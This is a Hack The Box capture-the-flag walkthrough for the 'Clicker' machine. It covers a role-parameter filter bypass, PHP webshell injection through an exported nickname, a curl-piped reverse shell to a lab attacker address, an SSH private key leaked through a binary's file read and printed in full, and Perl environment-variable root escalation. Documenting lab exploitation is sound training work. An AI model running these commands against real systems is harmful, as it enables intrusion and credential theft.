Clicker writeup banner

Clicker

Hack The Box Machine Writeup

I dig the neon stylings!

I dig the neon stylings!

Summary

licker was a really fun box that involved a fairly in depth route to the user and a couple of unique exploits. User starts with a cookie clicker game website. This website has multiple vulnerabilities due to user input passed in parameters to webrequest not being sanitized. One of these allows for privilege escalation to the admin role by manually changing it in the webrequest. Once the admin role is obtained a new function is unlocked that echos a user supplied nickname to the page. This page renders PHP code so by injecting a webshell there is now RCE on the machine. From here a reverse shell can be obtained as the WWW user. Lateral privilege escalation is required to the Jack user. To achieve this a binary is exploited that runs as Jack that allows for file read. This is then used to leak his SSH key and then the last step to the user is simply using SSH with this key to get a shell as Jack.

Root was rather tricky and involved, for me at least, quite a bit of searching on google. We are presented with the ability to set ENV and run a shell script as root. In this script we can see 2 Pearl ENVS being set and unset. Googling for how to exploit these we discover that they can be used to run code. We can set them correctly in the ENVS passed the script by exploiting PATH and reading root.txt or create a bash binary that runs as root to finish the box.

Woah......

Woah......

User

Recon

Port Scan With Nmap

Starting off with an Nmap scan we can see that port 22,80 and 111 are open.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV 10.10.11.232
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 13:29 EDT
Nmap scan report for 10.10.11.232
Host is up (0.032s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34137/tcp6  mountd
|   100005  1,2,3      51921/udp   mountd
|   100005  1,2,3      52279/tcp   mountd
|   100005  1,2,3      54359/udp6  mountd
|   100021  1,3,4      37303/udp   nlockmgr
|   100021  1,3,4      39584/udp6  nlockmgr
|   100021  1,3,4      40849/tcp   nlockmgr
|   100021  1,3,4      41077/tcp6  nlockmgr
|   100024  1          43420/udp6  status
|   100024  1          45627/tcp   status
|   100024  1          48866/udp   status
|   100024  1          57329/tcp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.65 seconds

We can't do much with SSH until we have creds. Moving on then to port 80 we can see that it is an apache server and there is a redirect to http://clicker.htb/.

Wfuzz Scan For Virtual Hosts

I will add this to my /etc/hosts file and do a brute force scan with wfuzz to see if there are any other Virtual hosts in use for an easy win. I used the --hh 0 flag to filter out responses with 0 chars.

bash
┌──(kali㉿kali)-[~/Desktop]
└─$ wfuzz -u http://clicker.htb -H "Host: FUZZ.clicker.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 0
********************************************************

Target: http://clicker.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                     
=====================================================================

000000001:   200        107 L    277 W      2984 Ch     "www"                                       
000009532:   400        10 L     35 W       301 Ch      "#www"                                      
000010581:   400        10 L     35 W       301 Ch      "#mail"                                     

Total time: 0
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 0

This gives us what looks like the default page at www. And 2 false positive results.

Port 80 Web Server

The clicker website appears to be some kind of game with neon retro styling. It features 3 tabs, info login and register.

It hurts my eyes to look at. Early web desgin at its finest.

It hurts my eyes to look at. Early web desgin at its finest.

The info tab leads to an Info.php page where there are some reviews for the game.

Now those are some names!

Now those are some names!

Login leads to login.php which requests a username and a password. Basic SQLI tests like inserting a ' do not appear to be effective. Submitting incorrect credentials will result in a redirect with a parameter, err, set to Authentication Failed.

The register tab gives us a similar form but this time used to register a user. submitting the form and registering a user redirects to index.php with a msg paremer set to Successfully registered. Much like with the error page this parameter is also reflected to the page.

Changing the msg parameter we can see that it is indeed reflecting it back onto the page. Something interesting to note for later.

Possible location for SSTI, and reflected XSS

Possible location for SSTI, and reflected XSS

logging in at Login.php redirects to Index.php except now it echos our username to us in a brief welcome message. This username is also another potential attack vector to note for later.

Hopefully someday!

Hopefully someday!

We are also given 3 new tabs: profile, logout and play. Logout does as you would expect. Profile leads to a page displaying your stats in the game.

bronze ELO

bronze ELO

Play on the other hand is where the magic happens. It is what appears to be the game in question. It is a clicker type game, of which there are many with the most popular being Cookie Clicker.

click click click

click click click

The Clicker game counts the number of times we click the center button. It also allows us to "LevelUp''. This decreases our total click count but increases the amount of clicks awarded per click. Proxying through burp we can see that no requests are being sent when playing the game. That must mean all the functionality is being done client side and should be exploitable to us. Inspecting the source code of the page we can see that the JavaScript running the game is hard coded directly into play.php.

javascript
 <script>
      money = 0;
      update_level = 0;
      money = parseInt(money);
      update_level = parseInt(update_level);
      upgrade_cost = 15 * (5 ** update_level);
      money_increment = upgrade_cost / 15;

      function addcomma(x) {
        return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",")
      }

      function saveAndClose() {
        window.location.replace("/save_game.php?clicks="+money+"&level="+update_level);
      }

      function clicked() {
        money += money_increment;
        document.getElementById("total").innerHTML = "Clicks: " + addcomma(money);
      }

      function upgrade() {
        if (money >= upgrade_cost) {
          money_increment += upgrade_cost / 15;
          money -= upgrade_cost;
          update_level += 1;
          upgrade_cost = upgrade_cost * 5;
          document.getElementById("upgrade").innerHTML = addcomma(update_level) + " - LevelUP Cost: " + addcomma(upgrade_cost);
        }
  

        document.getElementById("click").innerHTML = "Level: " + addcomma(update_level);
        document.getElementById("total").innerHTML = "Clicks: " + addcomma(money);
      }

    </script>

Clicking the Save Game button does send a webrequest through Burp proxy however. Here we can see it is simply passing our data as clicks and levels parameters in a get request from /save_game.php.

We got cheatcodes.

We got cheatcodes.

Changing these values to 1000 clicks and level 50 we get redirected to index.php with the msg parameter set to "Game has been saved!". When looking at our profile again we can see that it was updated with the values we passed as parameters to /save_game.php.

highscore! There must not be any sanitation of our input going on either.

highscore! There must not be any sanitation of our input going on either.

Obtaining Admin Role

NFS

At this point I moved on to enumerating the Network File Share found on port 2049. Hacktricks has a page on pentesting NFS services. I used the Showmount commands to see what was open and then used mount -t nfs to mount the /mnt/backups share.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ showmount -e clicker.htb                                            
Export list for clicker.htb:
/mnt/backups *

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo mount -t nfs clicker.htb:/mnt/backups ~/Desktop/mnt

┌──(kali㉿kali)-[~/Desktop/mnt]
└─$ ls
clicker.htb_backup.zip

Looking Over Website Source Code

copying the file out of the mnt and unzipping it we are given what looks like a backup of the source code for the clicker.htb website. It's very fun when you get to do some whitebox testing on a CTF machine! Looking over the code there are a couple things that stand out right away. One of these is the existence of the Admin ROLE trait, which is required to view admin .php and export.php

php
if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}

There are also db connection creds located in the db_utils.php file. These can also be found in diagnostic.php. In db_utils.php there is also a comment about a section being only for the admin. This section has 2 functions which appear to be making database calls.

php
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);
<...>
// ONLY FOR THE ADMIN
function get_top_players($number) {
    global $pdo;
    $stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
    return $result;
}
function get_current_player($player) {
    global $pdo;
    $stmt = $pdo->prepare("SELECT nickname, clicks, level FROM players WHERE username = :player");
    $stmt->bindParam(':player', $player, PDO::PARAM_STR);
    $stmt->execute();
    if ($stmt->rowCount() > 0) {
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        return $result;
    } else {
        return null;
    }
}

The key line is below. If we can control the number parameter passed into the get_top_players function we will have an SQLI. We can also see the existence of a nickname trait here:

php
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);

Looking for the function get_top_players where the parameter would be passed into we can see that it is called both in admin.php as well as export.php. These both also use a threshold variable that is set to 1000000 before being passed into the get_top_players which contains the possible SQLI vulnerability.Export.php does however overwrite this threshold value if there is a post request sent with the threshold value. This is filtered by is_numeric however, so we may not be able to exploit the SQL afterall.

php
###admin.php
$threshold = 1000000;
$top_players = get_top_players($threshold);

####export.php
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
    $threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);

Unfortunately as was seen already both export.php and admin.php require the Admin role to access. Getting this Admin role is therefore a good place to go next.

I prefer SUDO myself

I prefer SUDO myself

In save_game.php we can see some interesting comments about preventing users modifying their role. We can also see that the application saves the state of the clicks and level through the session cookie.

php
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	

We can test this filtering functionality by capturing a request in Burp and trying to manually set our role to admin. This shows that it is working as intended and since the role key exists, it redirects us to index.php with the Malicious activity detected message.

Web proxys are very powerful tools

Web proxys are very powerful tools

From the source code we can see that it is simply using the strtolower method to convert the key (role) into a lowercase string to compare against. This means that something like a urlencode carriage return, %0d, should bypass the blacklist. There are many other examples of strings that could be added to the end of the roll that would also bypass the blacklist such as a tab (%09).

There is almost always a way to bypass blacklist filtering

There is almost always a way to bypass blacklist filtering

w when logging back in to reset our cookie from the database , we can see that our user's role is set to admin as evidenced by the new administration tab.

Sanitation and verification of user input is critical in web application security

Sanitation and verification of user input is critical in web application security

Exploiting Nickname For Webshell

On the Administration tab there is a button to export the data and a selector to pick the type. Intercepting this in burp we can see extension parameters in the post body. changing this we are able to write the data to a PHP file.

Even the body is not safe

Even the body is not safe

Visiting the page confirms this further.

I lied, THAT is a highscore. Get rekt Th3Br0

I lied, THAT is a highscore. Get rekt Th3Br0

We see that it is writing the nicknames to the screen. We can control the nickname trait the same way we did with the admin role, except there is no filter to bypass this time. Sending a request to save_game.php with the nickname parameter set to a php webshell will allow us to then write the webshell to a php file with export.php. Remember you can press ctrl u to URLencode things quickly in Burp.

Since this data is reflected back to us on a PHP page it *will*  run the PHP code

Since this data is reflected back to us on a PHP page it *will* run the PHP code

Visiting the created web page and passing cmd?id into the URL confirms we have code execution on the host and a working webshell.

I feel like I see this WWW-Data guy everywhere!

I feel like I see this WWW-Data guy everywhere!

Shell as jack

Reverse Shell AS www-data

From here I tried a couple different kinds of reverse shells. I ended up just creating a shell.sh file and hosting it with a python simple server. I then used curl and piped the shell into bash.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ cat shell.sh                          
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.4/42069 0>&1

┌──(kali㉿kali)-[~/Desktop]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.232 - - [25/Sep/2023 11:27:50] "GET /shell.sh HTTP/1.1" 200 -

┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069                                      
listening on [any] 42069 ...

connect to [10.10.14.11] from (UNKNOWN) [10.10.11.232] 55210
www-data@clicker:/var/www/clicker.htb/exports$ 
This is a good way to avoid encoding issues.

This is a good way to avoid encoding issues.

I then used the script trick to upgrade to a fully interactive shell. with user.txt nowhere to be found and a jack user in the home directory It was safe to assume getting a shell as jack was the next step.

sh
www-data@clicker:/var/www/clicker.htb/exports$ script /dev/null -c bash
www-data@clicker:/var/www/clicker.htb/exports$ ^Z
zsh: suspended  nc -lvnp 42069                                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 42069
                                reset
Terminal type? screen
www-data@clicker:/var/www/clicker.htb/exports$

www-data@clicker:/home$ ls
jack

Reverseing Execute Query BInary

In /opt there is a directory called manage which is owned by Jack. Inside here is a readme that mentions creating a database and managing an admin user and password. There is also a binary called execute_query that the readme is for. Running the binary will demand a parameter. Passing it various INTS seems to execute different sql commands. Running it with parameters 5 and above results in a segfault message.

sh
www-data@clicker:/opt$ ls -la
drwxr-xr-x  2 jack jack 4096 Jul 21 22:29 manage


www-data@clicker:/opt/manage$ ls
README.txt  execute_query

www-data@clicker:/opt/manage$ cat README.txt 
Web application Management

Use the binary to execute the following task:
        - 1: Creates the database structure and adds user admin
        - 2: Creates fake players (better not tell anyone)
        - 3: Resets the admin password
        - 4: Deletes all users except the admin


ww-data@clicker:/opt/manage$ ./execute_query 1     
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))
--------------

--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
        VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999)
        ON DUPLICATE KEY UPDATE username=username
--------------

www-data@clicker:/opt/manage$ ./execute_query 2
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
        VALUES ('ButtonLover99', 'ButtonLover99', sha2('BestGameinHistory',256), 'User', 10000000, 100)
        ON DUPLICATE KEY UPDATE username=username
--------------

www-data@clicker:/opt/manage$ ./execute_query 5
Segmentation fault (core dumped)
Filthy Frank is a legend

Filthy Frank is a legend

Thinking that the binary likely contains hard coded credentials in order to accomplish these tasks I used strings on it. I piped this into grep looking for a pass string. I then used the --before flag to fetch lines before the matched one. This revealed a string that looks like a command containing creds.

sh
www-data@clicker:/opt/manage$ strings ./execute_query | grep -i pass --before 10
<...>
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
<...>

Cleaning this up by removing the newlines and random H characters with tr we can see that it is indeed a command string for a connection to a mysql server. /home/jack/queri/usr/bin/mysql-uclicker_db_user--password='clicker_db_password'clicker-v<

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H" | tr -d '\n, H'
/home/jack/queri/usr/bin/mysql-uclicker_db_user--password='clicker_db_password'clicker-v<                                                                                                                                                  

While these creds did not work with jack they did show that the commands seem to be called from file as evidenced by <. From here I looked at the program and Ghirda and through that and trial and error discovered that there is a FIle Read Vulnerability. When the option 5 is used along with the path to a file like ../test.txt the file contents will be leaked.

Get Jack SSH Key

As this process is running as Jack we can use it to look in his home directory and see if he has an ssh key. Copying this key over to our attacking host and running chmod 600 we now have a shell as jack and can grab user.txt Make sure the ssh private key has 5 leading and trailing dashes to ensure correct format.

bash
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa     
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
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
-----END OPENSSH PRIVATE KEY---
--------------

┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 jack

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i jack jack@clicker.htb

jack@clicker:~$ cat user.txt
9ab90512ccd5652bf8ae0d65ad9436ec
Jacks here

Jacks here

Root

Enumeration

SUDO

sudo -l reveals that jack can set envs and run as root on /opt/monitor.sh

sh
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

checking out this script we can see PATH being set and then 2 unset statements for pearl libraries.

sh
jack@clicker:~$ cat /opt/monitor.sh
<...>
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
<...>

PEARL5LIB Path Exploit

Googling around for how to use this information I stumbled upon an excellent post. This website discusses how setting PERL5LIB and other PERL5 env variables will allow for the execution of arbitrary Perl code when the script is run. I used the example from the link of PERL5OPT=-d and PERL5DB=system("sh");exit; and changed the system command to instead set suid permissions on the /bin/bash binary. We can then simply execute it with -p to keep root's effective ID, grab root.txt and complete the box.

sh
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
jack@clicker:~$ /bin/bash -p
bash-5.1# id
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
PERL5OPT=-d and PERL5DB=system("sh");exit;.
Congrats Fren. You are now a Pro Game Hacker

Congrats Fren. You are now a Pro Game Hacker

Other Resources

Ippsec Video Walkthrough

0xdf Writeup

0xdf.gitlab.io